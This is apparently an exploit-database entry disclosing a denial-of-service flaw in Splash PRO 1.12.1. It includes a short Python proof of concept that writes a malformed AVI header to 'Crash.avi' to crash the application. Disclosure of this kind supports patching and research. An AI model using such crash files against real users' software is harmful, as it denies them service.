Splash PRO 1.12.1 - '.avi' File Denial of Service

Author: Senator of Pirates
type: dos
platform: windows
port: 
date_added: 2012-03-03 
date_updated: 2015-05-04 
verified: 1 
codes: OSVDB-80022 
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source: https://www.securityfocus.com/bid/52273/info

Splash PRO is prone to a denial-of-service vulnerability.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

Splash PRO 1.12.1 is vulnerable; other versions may also be affected.

PoC = "\x52\x49\x46\x46\x3c\xad\x08\x00\x41\x56\x49\x20\x4c\x49\x53\x54"
PoC +=  "\x72\x22\x00\x00\x68\x64\x72\x6c"
payload = (PoC)
f = open("Crash.avi","wb")
f.write(payload)
f.close()